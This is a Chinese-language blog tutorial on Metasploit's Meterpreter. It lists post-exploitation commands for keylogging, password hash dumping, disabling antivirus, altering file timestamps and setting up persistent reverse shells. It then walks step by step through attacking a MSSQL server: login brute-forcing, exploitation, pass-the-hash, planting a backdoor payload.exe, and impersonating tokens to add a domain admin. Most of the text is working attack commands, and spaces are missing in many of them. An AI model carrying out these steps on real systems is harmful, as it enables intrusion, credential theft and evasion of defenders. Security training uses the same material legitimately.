Meterpreter 简述

Metasploit是Windows系统下的ShellCode—meterpreter!


MetasploitFramework是一个缓冲区溢出测试使用的辅助工具,也可以说是一个漏洞利用和测试平台,它集成了各种平台上常见的溢出漏洞和流行的shellcode,并且不断更新,使得缓冲区溢出测试变的方便和简单。


exploit是指“漏洞及其利用”,其利用一切可以利用的工具、采取一切可以采取的方法、找到一切可以找到的漏洞。并且对漏洞资料的分析研究,达到某些目的。


metasploit工具的主页是http://www.measoloit.com

metasploit框架的下载地址是:http://www.metasploit.com/framework/download


在Backtrack5里面自带的溢出工具内,在得到溢出的结果后,我们都可以在进行溢出连接时得到一个meterpreter的会话

113034514.jpg


Meterpreter的特征

meterpreter是metasploit框架中的一个扩展模块,作为溢出成功以后的***载荷使用,***载荷在溢出***成功以后给我们返回一个控制通道。使用它作为***载荷能够获得目标系统的一个meterpretershell的链接。

meterpretershell作为***模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息

另外meterpreter能够躲避***检测系统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此HIDS[基于主机的***检测系统]很难对它做出响应。此外它在运行的时候系统时间是变化的,所以跟踪它或者终止它对于一个有经验的人也会变得非常困难。

最后,meterpreter还可以简化任务创建多个会话。可以来利用这些会话进行***



meterpreter工作的好处:
1、不创建进程(使用的内存注入方式)
2、meterpreter是一个解释器加载各种***命令
3、工作在被***进程的上下文中
4、通信是加密的(TLV协议),可以躲避IDS
5、没有硬盘写入操作
6、使用的通信方式是信道模式,可以同时和几个信道工作,支持多信道
7、支持扩展编写



meterpreter工作过程:
1、漏洞的利用代码+第一阶段的***载荷
2、***载荷反向连接到msf
3、发送第二阶段的***载荷
dMSF发送meterpreter服务器dll
4、客户端和服务器进行通信



常用的系统命令:
background把当前的会话设置为背景,需要的时候在启用
getuid查看对方正在运行的用户
ps列出所有的进程
getpid返回运行meterpreter的id号
sysinfo产看系统信息和体系结构
shell切换到cmd的系统权限方式
exit退出shell会话返回meterpreter或终止meterpreter



进程迁移和提权:
getsystem会自动利用各种各样的系统漏洞来进行权限提升
migrate进程id进程迁移



和目标建立多重通信的信道:
excute用来启用多重通信信道
excute-fexploit.exe-c
channel-l列出可用通信信道
interact和信道进行交互(获得cmd)
write3向信道写入数据,以‘.’结束




常用的文件系统的命令:
pwd产看当前所在的工作目录
cd切换到想要的工作目录
search-f*.dof-dc:\搜索文件
download支持文件下载
downloadc:\a.doc/root下载到本地的root目录
upload/root/mm.exec:\sys.exe上传到远程主机
timestomp更改文件属性
timestompc:/a.doc-v查看文件的时间信息。
timestompc:/a.doc-c"9/23/201314:22:11"修改文件的创建时间
-m,-a文件的修改时间和最后一次访问的时间。
-z修改所有时间,尽量不要用。
-v查看





常用的网络命令:
ipconfig查看ip配置
route显示路由表,也可以配置ip地址。和linux方法一样
routeaddip地址掩码网关
portfwd做端口转发的时候用的
portfwd-a-L127.0.0.1-l888-h7.6.5.4-p5631
-a添加一个新的转发规则
-L目标主机的IP地址
链接127.0.0.1的888端口,会被转发到7.6.5.4的5631端口
enumdesktops是列出所有可访问的桌面
getdesktop返回用户的桌面
setdesktop设置到某个会话的桌面
keyscan_start安装键盘窃听器
keyscan_dump导出活跃桌面的键盘记录
关于windows的桌面的编号0控制台12其他会话或远程登陆。




Meterpreter脚本:

使用runscriptname方式执行

①vnc脚本,获取远程机器vnc界面控制
meterpreter>runvnc
meterpreter>runscreen_unlock

②进程迁移
当***成功后将连接进程从不稳定进程(如使用浏览器溢出漏洞exp进行***时浏览器
可能会被目标关闭)迁移至稳定进程(explorer.exe),保持可连接。
例子:
meterpreter>runpost/windows/manage/migrate
(在64位win7中migrate需要管理员权限执行后门才能成功,而migrate前后获取的
权限是有差异的。)

③关闭杀毒软件
meterpreter>runkillav(这个脚本要小心使用,可能导致目标机器蓝屏死机。)

④获取系统密码hash
meterpreter>runhashdump
(64位win7下需要管理员权限执行后门且先getsystem,然后使用
runpost/windows/gather/hashdump来dumphash成功率更高。
而且如果要使用shell添加系统账户的话win7下得先:
runpost/windows/escalate/bypassuac,不然可能不会成功。)

⑤获取系统流量数据
meterpreter>runpacktrecorder–i1

⑥直捣黄龙
可以干很多事情:获取密码,下载注册表,获取系统信息等
meterpreter>runscraper

⑦持久保持
当目标机器重启之后仍然可以控制
meterpreter>runpersistence–X–i50–p443–r192.168.1.111
-X开机启动-i连接超时时间–p端口–rIP
下次连接时:
msf>usemulti/handler
setpayloadwindows/meterpreter/reverse_tcp
setLPOST443
setLHOST192.168.1.111
exploit
(会在以下位置和注册表以随机文件名写入文件等信息,如:
C:\Users\YourtUserName\AppData\Local\Temp\MXIxVNCy.vbs
C:\Users\YourtUserName\AppData\Local\Temp\radF871B.tmp\svchost.exe
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\DjMzwzCDaoIcgNP)

⑧POST整合模块
可实现同时多个session操作
例子:获取hash
meterpreter>runpost/windows/gather/hashdump
其他还有很多,使用TAB键补全看下就知道runpost/<TAB>



112651101.jpg


当对目标系统进行溢出时,使用meterpreter作为payload,给测试者返回一个shell,可用于在目标机器上执行更多的操作。
例子:
msf>nmap–sT–A–P0192.168.1.130#探测开放服务
假如已经探测到1433(TCP)和1434(UDP)端口(mssql),
msf>nmap–sU192.168.1.130–P1434#确认端口开放
msf>useauxiliary/scanner/mssql/mssql_ping
showoptions
setRHOSTS192.168.1.1/24
setTHREADS20
exploit

至此可获取服务器名称,版本号等信息。
msf>useauxiliary/scanner/mssql/mssql_login
showoptions
setPASS_FILE/pentest/exploits/fasttrack/bin/dict/wordlist.txt
setRHOSTS192.168.1.130
setTHREADS10
setverbosefalse
exploit
暴力猜解登陆密码。接下来使用mssql自带的xp_cmdshell功能添加账户:
msf>useexploit/windows/mssql/mssql_payload
showoptions
setpayloadwindows/meterpreter/reverse_tcp
setLHOST192.168.1.111
setLPORT433
setRHOST192.168.1.130
setPASSWORDpassword130
exploit
当获取到一个meterpretershell后可以执行更多的操作:
获取屏幕截图:screenshot
获取系统信息:sysinfo
获取键盘记录:
meterpreter>ps#查看目标机器进程,假设发现explorer.exe的进程号为1668:
meterpreter>migrate1668#插入该进程
meterpreter>runpost/windows/capture/keylog_recorder#运行键盘记录模块,将击键记录保存到本地txt
cat/root/.msf3/loot/*****.txt#查看结果
获取系统账号密码:
meterpreter>usepriv
meterpreter>runpost/windows/gather/hashdump
当获取到密码的hash之后无法破解出明文密码且无法直接使用hash登陆,需要使用
pass-the-hash技术:
msf>usewindows/smb/psexec
setPAYLOADwindows/meterpreter/reverse_tcp
setLHOST192.168.1.111
setLPORT443
setRHOST192.168.1.130
setSMBPassaad
3b435b51404eeaad3b435b51404ee:b75989f65d1e04af7625ed712ac36c29
exploit
获取到系统权限后我们可以新建一个普通账号,然后使用此账号执行我们的后门:
在目标机器上执行:netuaerhackerpass/add
本地生成一个后门程序:
msfpayloadwindows/meterpreter/reverse_tcp
LHOST=192.168.1.111
LPORT=443X>payload.exe
将payload.exe拷贝到目标机器然后使用新建立的账号执行

本地执行端口监听,等待来自目标机器连接:
msfclimulti/handlerPAYLOAD=windows/meterpreter/reverse_tcp
LHOST=192.168.1.111
LPORT=443
usepriv
getsystem
getuid
至此取得SYSTEM权限



令牌模拟:当有域控账户登陆至服务器时可使用令牌模拟进行***取得域控权限,之后
登陆其他机器时不需要登陆密码。
meterpreter>ps#查看目标机器进程,找出域控账户运行的进程ID,假如发现PID为380
meterpreter>steal_token380
有时ps命令列出的进程中可能不存在域控账户的进程,此时使用incognito模块查看可
用token:
meterpreter>useincognito
meterpreter>list_tokens–u#列出可用token,假如找到域控token
meterpreter>impersonate_tokenSNEAKS.IN\\ihazdomainadmin
meterpreter>add_userhackerpassword–h192.168.1.50#在域控主机上添加账户
meterpreter>add_group_user“DomainAdmins”hacker–h192.168.1.50#将账户添加至
域管理员组





發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章